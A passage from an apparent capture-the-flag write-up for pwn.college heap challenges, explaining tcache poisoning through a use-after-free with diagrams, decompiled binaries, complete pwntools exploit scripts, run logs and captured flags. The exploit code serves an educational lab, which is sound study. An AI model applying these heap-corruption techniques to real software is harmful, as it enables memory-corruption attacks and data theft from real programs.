{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
This time, we can see that the secret is 16 bytes long. Therefore, we will have to employ two rounds of tcache_entry struct poisoning.
Polluting tcache_entry struct multiple times
Let's say we allocate two chunks A, B of memory and then free them. It would look something as follows:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
Then we use the scanf command and read to the index of the first allocation A using the hanging pointer. The first 8 bytes at that location would hold the next pointer which would point to B.
We can overwrite this with the address of the secret.
This would cause the chunk B to be removed from the singly-linked list, and the memory at the secret address would take it's place.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │
┆ tcache_entry B ┆ │
├──────────────────┤ │
│ next: NULL │ │
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├───────────────────┤
│ next: secret[:8] │
├───────────────────┤
│ key: secret[8:16] │
└───────────────────┘
Now, if we allocate two chunks again of the same size, the chunk A and SECRET would be allocated because to tcache_perthread_struct, those are the two free chunks. The first 8 bytes of the SECRET chunk would hold the first 8 bytes of secret value, and the next 8 bytes would be right after that.
However, due to TCACHE's behaviour of setting the key pointer to NULL after allocating a chunk, the trailing 8 bytes of the secret value are clobbered.
So, by polluting tcache_perthread_struct once, we are able to get only the first 8 bytes.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_128: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_128: secret[:8] ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├──────────────────┤
│ secret[:8] │
├──────────────────┤
│ NULL │
└──────────────────┘
For the next, 8 bytes, we have to pollute tcache_entry struct again, but this time we set the address into which scanf reads to 8 bytes after the secret value's address. So, let's free the first allocation only so that it is added back into the singly linked list.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 1 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │
├──────────────────┤
│ key: Void │
└──────────────────┘
Then we use the scanf command and read to the index of the first allocation A using the hanging pointer.
We can overwrite this with the address of the secret plus 8.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET2 │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET2 ┆
├────────────────────┤
│ next: secret[8:16] │
├────────────────────┤
│ key: .... │
└────────────────────┘
Now, if we allocate two chunks again of the same size, the chunk A and SECRET2 would be allocated because to tcache_perthread_struct, those are the two free chunks. And the first 8 bytes of the SECRET chunk would hold the remaining secret value.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_128: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_128: secret[8:16] ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄ ┄┄┄┄┄┄┄┐
┆ SECRET2 ┆
├────────────────────┤
│ secret[8:16] │
├────────────────────┤
│ NULL │
└────────────────────┘
This time, even if after allocation the key pointer is set to NULL we don't care because we have the secret value's second half in the first 8 bytes itself.
Exploit
from pwn import *
p = process("/challenge/seeking-substantial-secrets-easy", level='error')
# 1. Capture the target address
p.recvuntil(b"secret stored at ")
addr_hex = p.recvuntil(b".").strip(b".").decode()
secret_addr = int(addr_hex, 16)
print(f"[*] Target Secret Address: {hex(secret_addr)}")
# --- LEAK PART 1 (First 8 Bytes) ---
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the first half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
# Use ljust to ensure we have 8 bytes even if puts hits a null early
p.recvuntil(b"Data: ")
part1 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 1: {part1}")
print(p.recvuntil(b"quit): ").decode())
# --- LEAK PART 2 (Second 8 Bytes) ---
# We free Index 0 (real heap) to reuse the bin. We DO NOT free Index 1 (secret chunk's first half).
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the second half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr + 8))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
p.recvuntil(b"Data: ")
part2 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 2: {part2}")
print(p.recvuntil(b"quit): ").decode())
# --- SUBMIT ---
full_secret = part1 + part2
p.sendline(b"send_flag")
p.sendline(full_secret)
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-substantial-secrets-easy:/$ python ~/script.py
[*] Target Secret Address: 0x429964
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x3c2cd2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x3c2cd350
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3c2cd350 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd350 | 0 | 0x91 (P) | (nil) | 0x3c2cd010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x3c2cd350 | 0x3c2cd010 |
| 0x3c2cd350 | 0 | 0x91 (P) | (nil) | 0x3c2cd010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x429964 | 0x3c2cd000 |
| 0x429964 | 0 | 0 (NONE) | 0x65656f6c6b6a6461 | 0x7165656a7268696e |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x3c2cd2c0
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x429964 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x429964 | 0 | 0 (NONE) | 0x65656f6c6b6a6461 | 0x7165656a7268696e |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 1: b'adjkloee'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x65656f6c6b6a6461 | 0x3c2cd010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x42996c | 0x3c2cd000 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x3c2cd2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[2] = malloc(128)
[*] allocations[2] = 0x3c2cd3e0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 2: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{8h25mcw-m2mhr_jLouARLydGJix.01M4MDL4ITM0EzW}
Seeking Substantial Secrets (Hard)
hacker@dynamic-allocator-misuse~seeking-substantial-secrets-hard:/$ /challenge/seeking-substantial-secrets-hard
###
### Welcome to /challenge/seeking-substantial-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
The solution is the same as the easy one, only difference being that we have to find the address of the secret value.
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v6; // [rsp+30h] [rbp-120h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_427051[i] = rand() % 26 + 97;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_40214C);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 114u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 130u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 142u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 154u, "main");
v3 = malloc_usable_size(ptr[v9]);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr[v9]);
puts(byte_40214C);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( !memcmp(choice, byte_427051, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Exploit
from pwn import *
p = process("/challenge/seeking-substantial-secrets-hard", level='error')
secret_addr = 0x427051
# --- LEAK PART 1 (First 8 Bytes) ---
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the first half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
# Use ljust to ensure we have 8 bytes even if puts hits a null early
p.recvuntil(b"Data: ")
part1 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 1: {part1}")
print(p.recvuntil(b"quit): ").decode())
# --- LEAK PART 2 (Second 8 Bytes) ---
# We free Index 0 (real heap) to reuse the bin. We DO NOT free Index 1 (secret chunk's first half).
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the second half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr + 8))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
p.recvuntil(b"Data: ")
part2 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 2: {part2}")
print(p.recvuntil(b"quit): ").decode())
# --- SUBMIT ---
full_secret = part1 + part2
p.sendline(b"send_flag")
p.sendline(full_secret)
print(p.recvuntil(b"}").decode())
phacker@dynamic-allocator-misuse~seeking-substantial-secrets-hard:/$ python ~/script.py
###
### Welcome to /challenge/seeking-substantial-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 1: b'zhffdxpe'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 2: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{Y1obx4BDBPfdkgWr6FXdTlE7-n5.0FN4MDL4ITM0EzW}
Seeking Spanless Secrets (Easy)
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_42230A[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_42230A);
puts("This address intentionally uses `whitespace-armoring` (notice the 0x0a in the address).\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035D1);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 279u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 297u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 310u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v10 = atoi(choice);
if ( v10 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 323u, "main");
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035D1);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
if ( !memcmp(choice, byte_42230A, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Overwriting the secret via TCACHE poisoning
Since the secret's address contains a 0x0a byte, scanf would stop reading before completing the full 8-byte address, so we can't directly poison the next pointer to point at secret_addr. Instead, we target a nearby aligned address (secret_addr - 16) that contains no whitespace bytes, and use padding to bridge the gap.
Let's say we allocate two chunks A, B of memory and then free them:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
